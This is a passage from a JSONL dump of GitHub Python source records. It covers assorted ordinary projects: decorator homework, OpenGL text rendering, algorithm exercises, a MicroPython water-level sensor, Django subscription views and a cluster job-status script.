\n","repo_name":"kkudrolli/Calculus-Calculator","sub_path":"Input.py","file_name":"Input.py","file_ext":"py","file_size_in_byte":16274,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"697333026","text":"'''\n一：编写函数，（函数执行的时间用time.sleep(n)模拟）\n二：编写装饰器，为函数加上统计时间的功能\n三：编写装饰器，为函数加上认证的功能\n\n四：���写装饰器，为多个函数加上认证的功能（用户的账号密码来源于文件），要求登录成功一次，后续的函数都无需再输入用户名和密码\n注意：从文件中读出字符串形式的字典，可以用eval('{\"name\":\"egon\",\"password\":\"123\"}')转成字典格式\n\n五：编写装饰器，为多个函数加上认证功能，要求登录成功一次，在超时时间内无需重复登录，超过了超时时间，则必须重新登录\n\n\n六：选做题\n# 思考题（选做），叠加多个装饰器，加载顺序与运行顺序，可以将上述实现的装饰器叠加起来自己验证一下\n# @deco1 # index=deco1(deco2.wrapper的内存地址)\n# @deco2 # deco2.wrapper的内存地址=deco2(deco3.wrapper的内存地址)\n# @deco3 # deco3.wrapper的内存地址=deco3(index)\n# def index():\n#     pass\n\n'''\nimport time\n\nUSERINFO_PATH = 'userinfo/userinfo'\nif_login = False\nlogin_username = ''\nlogin_time = 0\nlogin_expire_sec = 60\n\n\ndef auth_expire(func):\n    def wrapper(*args, **kwargs):\n        global if_login\n        global login_time\n        global login_username\n        global login_expire_sec\n\n        if if_login and time.time() - login_time > login_expire_sec:\n            if_login = False\n            login_username = ''\n            login_time = 0\n        res = func(*args, **kwargs)\n        return res\n\n    return wrapper\n\n\ndef loginner(func):\n    def wrapper(*args, **kwargs):\n        global if_login\n        global login_username\n        global login_time\n        global USERINFO_PATH\n        if if_login == False:\n            input_username = input('请输入用户名:').strip()\n            input_pwd = input('请输入密码:').strip()\n            with open(USERINFO_PATH, mode='rt', encoding='utf-8') as fr:\n                for line in fr:\n                    l = line.strip().split(':')\n                    # print('{0},{1}'.format(l[0], l[1]))\n                    if input_username == l[0] and input_pwd == l[1]:\n                        if_login = True\n                        login_username = l[0]\n                        login_time = time.time()\n                        break\n                else:\n                    if_login = False\n                    login_username = ''\n                    print('用户名密码错误')\n\n        if if_login:\n            res = func(*args, **kwargs)\n            return res\n\n    return wrapper\n\n\ndef how_long_func(func):\n    def wrapper(*args, **kwargs):\n        start_time = time.time()\n        res = func(*args, **kwargs)\n        end_time = time.time()\n        print('跑了{0}秒'.format(end_time - start_time))\n        return res\n\n    return wrapper\n\n\n@loginner\n@how_long_func\ndef do_something(a, b):\n    time.sleep(10)\n    print('{0},{1}'.format(a, b))\n\n\ndo_something('zzzz', 'asdfasf')\n","repo_name":"TakeEasy/LearnPython2021","sub_path":"LearnPythonFight/Part2/Day17/Homework_Day17_1.py","file_name":"Homework_Day17_1.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24861218192","text":"import logging\n\nimport numpy as np\n\n####################################################################################################\n\nfrom . import GL\nfrom .TextureFont import from_64th_point\nfrom .Buffer import GlArrayBuffer\nfrom .VertexArrayObject import GlVertexArrayObject\n\n####################################################################################################\n\n_module_logger = logging.getLogger(__name__)\n\n####################################################################################################\n\nclass TextVertexArray(GlVertexArrayObject):\n\n    \"\"\" This class wraps a Text Vertex Array. \"\"\"\n\n    _logger = _module_logger.getChild('TextVertexArray')\n\n    _uv_vbo = None\n\n    ##############################################\n    \n    def __init__(self, image_texture):\n\n        super(TextVertexArray, self).__init__()\n\n        self._image_texture = image_texture # Fixme: could contains several font and size\n        self._font_atlas_shape = image_texture.shape\n\n        self._number_of_vertexes = 0\n        self._vertexes, self._glyph_sizes, self._texture_coordinates, self._colours = self._create_arrays(0)\n\n    ##############################################\n    \n    def _create_arrays(self, number_of_vertexes):\n\n        vertexes = np.zeros((number_of_vertexes, 4), dtype=np.float32)\n        glyph_sizes = np.zeros((number_of_vertexes, 2), dtype=np.float32)\n        texture_coordinates = np.zeros((number_of_vertexes, 2), dtype=np.float32)\n        colours = np.zeros((number_of_vertexes, 4), dtype=np.float32)\n\n        return vertexes, glyph_sizes, texture_coordinates, colours\n\n    ##############################################\n    \n    def add(self, text, font_size,\n            colour=(1.0, 1.0, 1.0, 1.0),\n            x=0, y=0,\n            anchor_x='left', anchor_y='baseline',\n            ):\n\n        if not text:\n            return\n\n        # Compute glyph vertexes \n\n        font = font_size.font\n\n        number_of_glyphs = len(text)\n        number_of_vertexes = number_of_glyphs\n        vertexes, glyph_sizes, texture_coordinates, colours = self._create_arrays(number_of_vertexes)\n\n        pen = [x, y]\n        prev = None\n\n        for i, charcode in enumerate(text):\n            glyph = font_size[charcode]\n            kerning = glyph.get_kerning(prev)\n\n            x0 = pen[0] + glyph.offset[0] + kerning\n            dx = x0 - int(x0) # fractional part of x0\n            x0 = int(x0)\n            y0 = pen[1] + glyph.offset[1]\n            # x1 = x0 + glyph.size[0]\n            # y1 = y0 - glyph.size[1]\n            u0, v0, u1, v1 = glyph.texture_coordinates\n\n            vertexes[i] = (x, y, x0 - x, y0 - y)\n            glyph_sizes[i] = glyph.size\n            texture_coordinates[i] = (u0, v0)\n            colours[i] = colour\n\n            pen[0] = pen[0] + from_64th_point(glyph.advance[0]) + kerning\n            pen[1] = pen[1] + from_64th_point(glyph.advance[1])\n\n            prev = charcode\n\n        # Correct width for last glyph\n        width = pen[0] - glyph.advance[0]/64.0 + glyph.size[0]\n\n        if anchor_y == 'top':\n            dy = -round(font_size.metrics.ascender)\n        elif anchor_y == 'center':\n            dy = +round(-font_size.metrics.height/2 - font_size.metrics.descender)\n        elif anchor_y == 'bottom':\n            dy = -round(font_size.metrics.descender)\n        else:\n            dy = 0\n\n        if anchor_x == 'right':\n            dx = -width\n        elif anchor_x == 'center':\n            dx = -width / 2.\n        else:\n            dx = 0\n\n        # Block position\n        vertexes[:,:2] += (round(dx), round(dy))\n\n        # Concatenate the vertexes\n        self._number_of_vertexes += number_of_vertexes\n        self._vertexes = np.concatenate((self._vertexes, vertexes))\n        self._glyph_sizes = np.concatenate((self._glyph_sizes, glyph_sizes))\n        self._texture_coordinates = np.concatenate((self._texture_coordinates, texture_coordinates))\n        # self._horizontal_offsets = np.concatenate((self._horizontal_offsets, horizontal_offsets))\n        self._colours = np.concatenate((self._colours, colours))\n\n    ##############################################\n    \n    def __del__(self):\n\n        self._logger.debug('')\n        super(TextVertexArray, self).__del__()\n\n    ##############################################\n    \n    def upload(self):\n\n        # Create VBO\n        # self._logger.debug(str(self._vertexes))\n        self._vertexes_vbo = GlArrayBuffer(self._vertexes)\n        self._glyph_sizes_vbo = GlArrayBuffer(self._glyph_sizes)\n        self._texture_coordinates_vbo = GlArrayBuffer(self._texture_coordinates)\n        self._colours_vbo = GlArrayBuffer(self._colours)\n\n    ##############################################\n    \n    def bind_to_shader(self, shader_program_interface):\n\n        self.bind()\n\n        shader_program_interface.position.bind_to_buffer(self._vertexes_vbo) # self._vertex_vbo\n        shader_program_interface.glyph_size.bind_to_buffer(self._glyph_sizes_vbo)\n        shader_program_interface.position_uv.bind_to_buffer(self._texture_coordinates_vbo) # self._uv_vbo\n        shader_program_interface.colour.bind_to_buffer(self._colours_vbo)\n\n        # Texture unit as default\n        # shader_program.uniforms.texture0 = 0\n\n        self.unbind()\n\n    ##############################################\n    \n    def draw(self, shader_program):\n\n        GL.glEnable(GL.GL_BLEND)\n        # Blending: O = Sf*S + Df*D\n        # alpha: 0: complete transparency, 1: complete opacity\n        # Set (Sf, Df) for transparency: O = Sa*S + (1-Sa)*D \n        # GL.glBlendEquation(GL.GL_FUNC_ADD)\n        GL.glBlendFunc(GL.GL_SRC_ALPHA, GL.GL_ONE_MINUS_SRC_ALPHA)\n\n        shader_program.bind()\n        self._image_texture.bind()\n        self.bind()\n\n        shader_program.uniforms.font_atlas = 0\n        shader_program.uniforms.font_atlas_shape = self._font_atlas_shape\n        shader_program.uniforms.gamma = 1.\n\n        GL.glDrawArrays(GL.GL_POINTS, 0, self._number_of_vertexes)\n\n        self.unbind()\n        self._image_texture.unbind()\n        shader_program.unbind()\n\n        GL.glDisable(GL.GL_BLEND)\n\n####################################################################################################\n# \n# End\n# \n####################################################################################################\n","repo_name":"FabriceSalvaire/PyOpenGLng","sub_path":"PyOpenGLng/HighLevelApi/TextVertexArray.py","file_name":"TextVertexArray.py","file_ext":"py","file_size_in_byte":6328,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"21831818281","text":"def meadin(arr1,arr2,n,m):\n    result = [-1,-1]\n    index = 0\n    mid = (n+m)//2\n    arr1_p = 0\n    arr2_p = 0\n    val = 0\n    while(arr1_p < n and arr2_p < m):\n        if arr1[arr1_p] < arr2[arr2_p]:\n            val = arr1[arr1_p]\n            arr1_p += 1\n        else:\n            val = arr2[arr2_p]\n            arr2_p+= 1\n        if index == mid-1:\n            result[0] = val\n        elif index == mid:\n            result[1] = val\n            return (result[1]+result[0])//2\n        index += 1\n    if -1 in result:\n        while(arr1_p < n):\n            val = arr1[arr1_p]\n            if index == mid-1:\n                result[0] = val\n            elif index == mid:\n                result[1] = val\n                (result[1]+result[0])//2\n            arr1_p+=1\n            index += 1\n        while(arr2_p < m):\n            val = arr2[arr2_p]\n            if index == mid-1:\n                result[0] = val\n            elif index == mid:\n                result[1] = val\n                return (result[1]+result[0])//2\n            arr2_p+=1\n            index += 1      \nif __name__ == \"__main__\":\n    for _ in range(int(intput)):\n        arr1 = list(map(int,input().rstrip().split(\" \")))\n        arr2 = list(map(int,input().rstrip().split(\" \")))\n        print(meadin(arr1,arr2,len(arr1),len(arr2)))\n","repo_name":"deepak01-Hacker/DAily-Practice","sub_path":"Median Of Two Soeted Array with Same Size .py","file_name":"Median Of Two Soeted Array with Same Size .py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12259418395","text":"def is_bicolourable(graph, n):\n    node_colors = [-1] * n\n    node_colors[0] = 0  \n    stack = [0]  \n\n    while stack:\n        current_node = stack.pop()\n\n        \n        for neighbor in graph[current_node]:\n            if node_colors[neighbor] == -1:\n                node_colors[neighbor] = 1 - node_colors[current_node]  \n                stack.append(neighbor)\n            elif node_colors[neighbor] == node_colors[current_node]:\n                return False  \n    return True  \n\nwhile True:\n    n = int(input())\n    if n == 0:\n        break\n\n    l = int(input())\n    graph = [[] for _ in range(n)]\n\n    for _ in range(l):\n        u, v = map(int, input().split())\n        graph[u - 1].append(v - 1)\n        graph[v - 1].append(u - 1)\n\n    if is_bicolourable(graph, n):\n        print(\"BICOLOURABLE.\")\n    else:\n        print(\"NOT BICOLOURABLE.\")\n","repo_name":"Mikiyas6/Competitive-Prograrmming","sub_path":"Bicoloring.py","file_name":"Bicoloring.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"17791839090","text":"# Demo for the working of Python Pandas on Excel Column names\n# Location of the Building Code shall be fetched from 2 columns i.e. Latitude and Longitude.\nimport pandas as pd\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\n\ndf = pd.read_excel('nation.xlsx', sheet_name='Sheet1',sep='\\s*,\\s*')\n\nprint(\"Column headings:\")\na=df['LATITUDE'].tolist()\nb=df['LONGITUDE'].tolist()\n\nfor i in range(0,len(a)):\n\tprint(a[i])\n\tprint(b[i])\n\n","repo_name":"amirjamil90/Nationary","sub_path":"import_nation.py","file_name":"import_nation.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16199547313","text":"import pandas as pd\n\ndef save_list(kiclist, filename):\n    \"\"\"\n    Save a list of KIC numbers to a file.\n\n    Parameters\n    ----------\n    kiclist : array_like\n        KIC numbers.\n    filename: str\n        Name of output file.\n\n    \"\"\"\n    text_file = open(filename, \"w\")\n\n    for kic in kiclist:\n        text_file.write(\"##############\\n\")\n        text_file.write(\"KIC {0:d}\\n\".format(kic))\n        text_file.write(\"##############\\n\\n\")\n\n    text_file.close()\n\ndf = pd.read_csv(\"../villanova-db.csv\", comment=\"#\")\ndf[\"pdepth/sdepth\"] = df.pdepth / df.sdepth\n\ndf_new = df[(df.pdepth > 0.1) & (df.sdepth > 0.1) & (df.period > 3.0)]\nkics = df_new.sort(\"pdepth/sdepth\").KIC.values\n\nlist_a = kics[::2]\nlist_b = kics[1::2]\n\nsave_list(list_a, \"list_a.txt\")\nsave_list(list_b, \"list_b.txt\")","repo_name":"StellarArmy/tricycle","sub_path":"sample/sample_select.py","file_name":"sample_select.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21240655736","text":"#!/usr/bin/env python3\n\nimport os\nimport glob\nimport argparse\nimport sys\nimport re\nimport random\nimport numpy as np\nfrom Bio import SeqIO\n\ndef comb_seq_files(primary_file, secondary_file, total_seqs_num, prop_range, output_dir):  \n\tfor num in np.arange(prop_range[0], sum(prop_range[1:]), prop_range[-1]):\n\t\tprimary_seqs_num = int(total_seqs_num * num)\n\t\ttarget_records = []\n\t\tfor record in SeqIO.parse(primary_file, \"fasta\"):\n\t\t\tif random.randint(0, 1):\n\t\t\t\ttarget_records.append(record)\n\t\t\t\tif len(target_records) == primary_seqs_num:\n\t\t\t\t\tbreak\n\t\tfor record in SeqIO.parse(secondary_file, \"fasta\"):\n\t\t\tif random.randint(0, 1):\n\t\t\t\ttarget_records.append(record)\n\t\t\t\tif len(target_records) == total_seqs_num:\n\t\t\t\t\tbreak\n\t\trandom.shuffle(target_records)\n\t\tSeqIO.write(target_records, os.path.join(output_dir, \"%s_percent_primary.fna\" % int(num * 100)), \"fasta\")\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description=\"Generate combined fasta file with user-defined proportions of original fasta files\")\n\tparser.add_argument(\"-p\", dest=\"primary\", help=\"Relative or absolute path to primary fasta file\", required=True)\n\tparser.add_argument(\"-s\", dest=\"secondary\", help=\"Relative or absolute path to secondary fasta file\", required=True)\n\tparser.add_argument(\"-t\", dest=\"total\", type=int, help=\"Total number of seqs for combined fasta file\", required=True)\n\tparser.add_argument(\"-r\", dest=\"prop\", help=\"Range of proportions for primary fasta file - format: lowest_value,highest_value,increment\", required=True)\n\tparser.add_argument(\"-o\", dest = \"outdir\", help = \"Relative path to directory where you want the output files to be stored (default: cwd)\", default = \".\")\n\tif len(sys.argv) == 1 :\n\t\tparser.print_help()\n\t\tsys.exit(1)\n\telse:\n\t\targs = parser.parse_args()\n\t\tprimary_prop = [float(x) for x in args.prop.split(\",\")]\n\t\tcomb_seq_files(args.primary, args.secondary, args.total, primary_prop, args.outdir)\n","repo_name":"guille0387/Cabana-secondment","sub_path":"generate_mixed_files.py","file_name":"generate_mixed_files.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75016009470","text":"from epx.loop import Task, SECONDS, MINUTES, Shortcronometer\nfrom epx import loop\nfrom third import mcp23017\nfrom machine import Pin\n\nclass FlowMeter:\n    def __init__(self, config):\n        # in pulses/sec when flow rate = 1 unit/min\n        self.pulserate = float(config.data['flowpulserate'])\n        print(\"config: flow pulse rate %f\" % self.pulserate)\n        self.single_pulse_vol = (1.0 / 60.0) / self.pulserate # volume of a single pulse\n        self._pulses = 0\n        self.pulses = 0\n        self.pulses_since_level_change = 0\n        self.latest_rate = 0.0 # in units/minute\n\n        self.task = Task(True, \"flowmeter\", self.eval, 1 * SECONDS)\n        self.cronometer = Shortcronometer()\n\n        self.pin = Pin(14, Pin.IN)\n        self.pin.irq(trigger = Pin.IRQ_RISING, handler=self.irq)\n\n    def irq(self, _):\n        self._pulses += 1\n\n    def eval(self, _):\n        p, self._pulses = self._pulses, 0\n        self.pulses += p\n        self.pulses_since_level_change += p\n\n        elapsed = self.cronometer.elapsed()\n        if elapsed > 5 * SECONDS:\n            self.cronometer.restart()\n            p, self.pulses = self.pulses, 0\n            self.latest_rate = p * self.single_pulse_vol / (elapsed / (MINUTES + 0.0))\n\n    def rate(self):\n        return self.latest_rate\n\n    def pumped_since_level_change(self):\n        return self.pulses_since_level_change * self.single_pulse_vol\n\n    def level_changed(self):\n        self.pulses_since_level_change = 0\n\n\nclass LevelMeter:\n    def __init__(self, config, i2c, flowmeter):\n        self.i2c = i2c\n        self.flowmeter = flowmeter\n        self.capacity = float(config.data['capacity'])\n        self.unit = config.data['unit']\n        print(\"config: capacity %f%s\" % (self.capacity, self.unit))\n        sensors = config.data['levelsensors']\n        print(\"config: sensors\", sensors)\n        self.sensors = [ float(x) for x in sensors.split(\",\") ]\n        self.sensors_bitmask = (1 << len(self.sensors)) - 1\n        print(\"config: bitmask %x\" % self.sensors_bitmask)\n\n        self.latest_bitmap = 0xffffffff\n        self.debounce_bitmaps = [0]\n        self.debounce = 4\n        self.level = -1.0\n        self.malfunction_bitmap = 0x00\n\n        self.mcp = None\n        Task(True, \"levelstart\", self.start_mcp, 10 * MINUTES).advance()\n        Task(True, \"level\", self.eval, 1 * SECONDS)\n\n    def start_mcp(self, _):\n        if self.mcp:\n            return\n\n        try:\n            self.mcp = mcp23017.MCP23017(self.i2c, 0x20)\n            self.mcp.porta.mode = 0xff\n            self.mcp.porta.pullup = 0xff\n            self.mcp.portb.mode = 0xff\n            self.mcp.portb.pullup = 0xff\n            self.malfunction_bitmap &= ~0x02\n            print(\"level meter: mcp active\")\n        except OSError:\n            print(\"level meter: mcp failed, retry in 10 min\")\n            self.mcp = None\n            self.level = 100.0 # guarantee that observer stops filling up\n            self.malfunction_bitmap |= 0x02\n\n    def eval(self, _):\n        if not self.mcp:\n            return\n\n        try:\n            bitmap = self.mcp.porta.gpio << 8 | self.mcp.portb.gpio\n            self.malfunction_bitmap &= ~0x04\n        except OSError:\n            print(\"level meter: mcp read fail\")\n            self.mcp = None\n            self.level = 100.0 # guarantee that observer stops filling up\n            self.malfunction_bitmap |= 0x04\n            return\n\n        bitmap &= self.sensors_bitmask\n\n        self.debounce_bitmaps.pop(0)\n        while len(self.debounce_bitmaps) < self.debounce:\n            self.debounce_bitmaps.append(bitmap)\n        debounced = True\n        for i in range(0, len(self.debounce_bitmaps) - 1):\n            debounced = debounced and self.debounce_bitmaps[i] == self.debounce_bitmaps[i+1]\n        if not debounced:\n            return\n\n        if self.latest_bitmap == bitmap:\n            return\n        self.latest_bitmap = bitmap\n\n        jump, err = False, False\n        new_level = 0.0\n        for i, pct in enumerate(self.sensors):\n            mask = 1 << i\n            bit = bitmap & mask\n            bit = not bit # pull-up logic\n            if bit:\n                new_level = pct\n                err = err or jump\n            else:\n                jump = True\n\n        if new_level != self.level:\n            self.flowmeter.level_changed()\n            self.level = new_level\n\n        if err:\n            self.malfunction_bitmap |= 0x01\n        else:\n            self.malfunction_bitmap &= ~0x01\n            \n\n    def coarse_level_pct(self):\n        if self.level < 0:\n            return None\n        return self.level\n\n    def coarse_level_vol(self):\n        if self.level < 0:\n            return None\n        return self.level * self.capacity / 100.0\n\n    def estimated_level_vol(self):\n        if self.level < 0:\n            return None\n        return self.coarse_level_vol() + self.flowmeter.pumped_since_level_change()\n\n    def estimated_level_str(self):\n        if self.level < 0:\n            return None\n        return \"%.0f%% + %.0f%s\" % (self.coarse_level_pct(), \\\n                                    self.flowmeter.pumped_since_level_change(), \\\n                                    self.unit)\n\n    def malfunction(self):\n        return self.malfunction_bitmap\n","repo_name":"elvis-epx/IoT","sub_path":"micropython/lib/h2o/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38583618355","text":"import os\n\nfrom sqlalchemy.engine.url import URL\n\n_basedir = os.path.abspath(os.path.dirname(__file__))\n\nDEBUG = False\n\nADMINS = frozenset(['email@rosgvard.ru'])\nSECRET_KEY = 'somekey'\n\nUPLOAD_FOLDER = os.path.join(os.getcwd(), 'store')\n\ndb_url = {\n    'database': \"vspbmebel_python\",\n    'drivername': \"mysql\",\n    'username': \"root\",\n    'password': \"qwerty\",\n    'host': \"localhost\",\n    'query': {'charset': 'utf8'}\n}\n\nSQLALCHEMY_DATABASE_URI = URL(**db_url)\nDATABASE_CONNECT_OPTIONS = {}\n\n# MYSQL_CHARSET = 'utf8_general_ci'\n\nTHREADS_PER_PAGE = 4\n\nWTF_CSRF_ENABLED = True\nWTF_CSRF_SECRET_KEY = \"csrfsecritkey\"\n","repo_name":"Shemand/richkhof","sub_path":"rh_http/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7750292287","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sb\nimport os\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\nfuel_econ = pd.read_csv('./data/fuel_econ.csv')\n# print(fuel_econ.head())\n\nsedan_classes = ['Minicompact Cars', 'Subcompact Cars', 'Compact Cars',\n                 'Midsize Cars', 'Large Cars']\nv_classes = pd.api.types.CategoricalDtype(ordered=True,\n                                          categories=sedan_classes)\nfuel_econ['VClass'] = fuel_econ['VClass'].astype(v_classes)\nfuel_econ_sub = fuel_econ.loc[fuel_econ['fuelType'].isin(['Premium Gasoline',\n                                                          'Regular Gasoline'])]\n\nsb.countplot(data=fuel_econ_sub, x='VClass', hue='fuelType')\nplt.xticks(rotation=10)\nplt.show()\n","repo_name":"jpmassena/AIPND","sub_path":"Matplotlib/categorical_practice.py","file_name":"categorical_practice.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31767911720","text":"from django.contrib.auth.models import User\nfrom django.db.models import Count\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom .models import FollowUser\nfrom .permissions import ReadOnly\nfrom .serializers import UserSerializer, FollowUserSerializer\nfrom articles.models import Article\nfrom articles.serializers import ArticleSerializer\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n    serializer_class = UserSerializer\n\n    def get_queryset(self):\n        queryset = User.objects.all()\n        return queryset\n\n    @action(detail=False, permission_classes=[ReadOnly])\n    def list(self, request, *args, **kwargs):\n        queryset = self.get_queryset()\n        ordering = self.request.query_params.get('ordering', None)\n        queryset = queryset.annotate(cnt=Count('articles'))\n        response = super(UserViewSet, self).list(queryset, args, kwargs)\n        if response.data['results']:\n            if ordering == 'up':\n                response.data['results'] = sorted(response.data['results'], key=lambda x: x['article_count'])\n            elif ordering == 'down':\n                response.data['results'] = sorted(response.data['results'], key=lambda x: x['article_count'], reverse=True)\n            else:\n                response.data['results'] = sorted(response.data['results'], key=lambda x: x['id'])\n            return Response(response.data, status=status.HTTP_200_OK)\n        return Response(response.data, status=status.HTTP_204_NO_CONTENT)\n\n    @action(detail=False, permission_classes=[ReadOnly])\n    def retrieve(self, request, pk=None):\n        queryset = Article.objects.filter(author=pk)\n        if queryset:\n            serializer = ArticleSerializer(queryset, many=True)\n            return Response(serializer.data, status=status.HTTP_200_OK)\n        return Response({'message': 'This user has not created any articles or user does not exist.'}, status=status.HTTP_204_NO_CONTENT)\n\n    @action(detail=True, permission_classes=[IsAuthenticated])\n    def subscribe(self, request, pk=None):\n        queryset = User.objects.filter(pk=pk)\n        if queryset:\n            serializer = FollowUserSerializer(data=dict(author=pk, user=request.user.id), context={'request': request})\n            serializer.is_valid(raise_exception=True)\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        return Response({'error': 'This pk is not valid!'}, status=status.HTTP_400_BAD_REQUEST)\n\n    @action(detail=True, permission_classes=[IsAuthenticated])\n    def unsubscribe(self, request, pk=None):\n        queryset = User.objects.filter(pk=pk)\n        if queryset:\n            author = get_object_or_404(User, pk=pk)\n            sub_pair = FollowUser.objects.filter(user=request.user, author=author)\n            if sub_pair:\n                sub_pair.delete()\n                return Response(status=status.HTTP_204_NO_CONTENT)\n            else:\n                return Response({'error': 'Attempt to delete a non-existent subscription'},\n                                status=status.HTTP_400_BAD_REQUEST)\n        return Response({'error': 'This pk is not valid!'}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ShowSubArticlesViewSet(viewsets.ModelViewSet):\n    serializer_class = ArticleSerializer\n    permission_classes = [IsAuthenticated]\n\n    def get_queryset(self):\n        queryset = FollowUser.objects.filter(user_id=self.request.user)\n        queryset_articles = Article.objects.none()\n        for item in queryset:\n            article = Article.objects.filter(author_id=item.author, created_at__gt=item.time_sub)\n            if article:\n                queryset_articles = article | queryset_articles\n        return queryset_articles\n\n    @action(detail=False, permission_classes=[IsAuthenticated])\n    def show_sub_articles(self, request):\n        queryset_articles = self.get_queryset()\n        response = super(ShowSubArticlesViewSet, self).list(queryset_articles, request)\n        if queryset_articles:\n            return Response(response.data, status=status.HTTP_200_OK)\n        return Response(response.data, status=status.HTTP_204_NO_CONTENT)\n","repo_name":"Vendetta-source/WB-Tech-backend-internship","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24771175825","text":"# -*- coding: utf-8 -*-\nfrom mongokit import INDEX_ASCENDING, INDEX_DESCENDING\n\n\ndef enum(*sequential, **named):\n    enums = dict(zip(sequential, range(len(sequential))), **named)\n    return type('enum', (), enums)\n\n\nMONGO_INDEX = enum(\n    ASCENDING=INDEX_ASCENDING,\n    DESCENDING=INDEX_DESCENDING\n)\n","repo_name":"ruitian/guitar","sub_path":"guitar/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27263479723","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.models import User\nfrom .models import Income,IncomeForm\n\ndef add_income(request):\n\n    if request.method=='POST':\n        f=IncomeForm(request.POST)\n        #userid=request.session.get(\"userid\")\n        #us=User.objects.get(id=userid)\n        #f.user=us\n        f.save()\n        return redirect('/')\n    else:\n        f=IncomeForm\n        d={'form':f}\n        return render(request,'form.html',d)\n\ndef income_list(request):\n    userid=request.session.get(\"userid\")\n    incl=Income.objects.filter(user=userid)\n    inc=set()\n    dl=set()\n    inct=set()\n    for i in incl:\n        inc.add(i.income)\n    \n    for i in incl:\n        dl.add(i.incomeType)\n    \n    for i in incl:\n        inct.add(i.incomeDate)\n        \n\n    d={'inc':incl,\"income\":inc,\"inct\":inct,\"dl\":dl}\n    return render(request,'incomelist.html',d)\n\ndef income_delete(request,id):\n    income=Income.objects.get(id=id)\n    income.delete()\n    return redirect('/')","repo_name":"naveentrigunayat/Project_on_compay","sub_path":"dailyexpense/income/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32758635939","text":"import sys, subprocess\n\n\nif __name__ == '__main__':\n    job_id = sys.argv[1]\n    # mxqdump for job id\n    try:\n        ret = subprocess.run('mxqdump --job-id {job_id}'.format(job_id=job_id), check=True, shell=True, stdout=subprocess.PIPE)\n    except subprocess.CalledProcessError as e:\n        raise e\n    # parse nxqdump output to dictionary\n    out = ret.stdout.decode()\n    status = {key:value for key, value in [line.split('=') for line in out.strip().split(' ')]}\n    # summarize mxq status to snakemake codes\n    if 'status' in status:\n        status_code = status['status']\n        if 'inq' in status_code or 'running' in status_code or 'loaded' in status_code or 'assigned' in status_code:\n            print('running')\n        elif 'finished' in status_code:\n            print('success')\n        else:\n            print('failed')\n        ","repo_name":"giesselmann/nanopype","sub_path":"profiles/mxq/mxq-status.py","file_name":"mxq-status.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"60"}
+{"seq_id":"38808015533","text":"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport tensorflow as tf##\nimport numpy as np\nimport pickle as pkl\nfrom sklearn.datasets import make_moons, make_blobs\nfrom sklearn.decomposition import PCA\n\nfrom flip_gradient import flip_gradient\nfrom utils import *\n\nimport csv\nimport os\nimport sys\nimport shutil\nimport ikeda_lib\n\nimport pdb\nfrom datetime import datetime\n\n##define\ninput_row = 2\nbatch_size = 18\ntime_steps = 538\n########\n##model params#\nft_ex1 = 7\nft_ex2 = 4\natv = 3\ndcv = 4\ndloss_ats_x = 1\nfilter_height_one = 20\nfilter_height_two = 50\n########\n\ndef get_train_and_test_datas(dataset_dir_list,test_wariai):\n    Xs = []\n    Xs_filename = []\n    ys = []\n    Xs_T = []\n    Xs_T_filename = []\n    ys_T = []\n    for dataset_dir_num in range(len(dataset_dir_list)):\n        data_list = sorted(os.listdir(dataset_dir_list[dataset_dir_num]))\n        train_data_list = data_list[:int(len(data_list)*(1-test_wariai))]\n        test_data_list = data_list[int(len(data_list)*(1-test_wariai)):]\n        for one_file_num in range(len(train_data_list)):\n            flin = open(dataset_dir_list[dataset_dir_num]+\"/\"+train_data_list[one_file_num],\"r\")\n            dataReader = csv.reader(flin)\n            csv_data = []\n            for line in 